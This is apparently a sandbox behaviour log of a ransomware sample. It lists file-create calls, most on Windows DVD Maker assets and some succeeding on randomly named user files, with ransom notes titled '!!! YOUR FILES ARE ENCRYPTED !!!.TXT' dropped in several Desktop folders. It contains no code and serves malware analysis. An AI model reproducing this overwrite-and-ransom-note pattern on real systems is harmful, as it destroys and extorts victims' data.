Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\performance.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Perf_Scenes_Mask1.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Perf_Scenes_Subpicture1.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\PreviousMenuButtonIcon.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\PreviousMenuButtonIconSubpi.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\22cgypbJdJpqkH9.mkv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\redmenu.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\b3an_n.doc desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Scene_loop.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Scene_loop_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\TitleButtonIcon.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\TitleButtonSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Title_Page.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Title_Page_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\title_trans_notes.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Title_Trans_Notes_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\title_trans_scene.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Title_Trans_Scene_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\pZmvw.ods desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\userContent_16x9_imagemask.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\whitemenu.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_INTRO_BG.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_INTRO_BG_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_LOOP_BG.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_LOOP_BG_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-back-over-select.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\STmNzCf2kHMrprU.csv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-back-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-next-over-select.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-next-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-over-DOT.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-previous-over-select.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-previous-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_frame-border.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_frame-highlight.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_frame-imageMask.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\VojBs.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_frame-shadow.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_image-frame-backglow.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_image-frame-border.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_image-frame-ImageMask.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_notes-txt-background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\rollinghills.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Scenes_INTRO_BG.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Scenes_INTRO_BG_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Scenes_LOOP_BG.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Scenes_LOOP_BG_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Title_Page_Ref.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\X_eHKXB 3BvRf.odt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Title_Page_Ref_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\1047_576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\YeIhI573Uc31sI.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\push.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\pushplaysubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\push_item.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Push\push_title.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\1047x576_91n92.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\15x15dot.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\720x480icongraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\reflect.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\C0Ot6PxWef1Er I\zhVAN.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\C0Ot6PxWef1Er I\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\vistabg.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\203x8subpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\bandwidth.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\blackbars80.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\C0Ot6PxWef1Er I\znzmSLsPIjDhvdxLSb.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\Panel_Mask.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\Panel_Mask_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\Y2RaxQdY5J2l RKG\9KS5qgX5Zwp_wPE.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\Y2RaxQdY5J2l RKG\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\203x8subpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\shatter.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\Y2RaxQdY5J2l RKG\LL30Wm.xls desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\mainscroll.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\scenesscroll.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\specialmainsubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\Y2RaxQdY5J2l RKG\McIX.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\Y2RaxQdY5J2l RKG\wRknaOJH.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\specialoccasion.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\whitemask1047.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\whitevignette1047.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\CircleSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\GoldRing.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\highlight.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\NavigationButtonSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\NextMenuButtonIcon.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\ParentMenuButtonIcon.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\PreviousMenuButtonIcon.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SceneButtonInset_Alpha1.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SceneButtonInset_Alpha2.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SceneButtonSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainBackground.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainBackground_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToNotesBackground.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
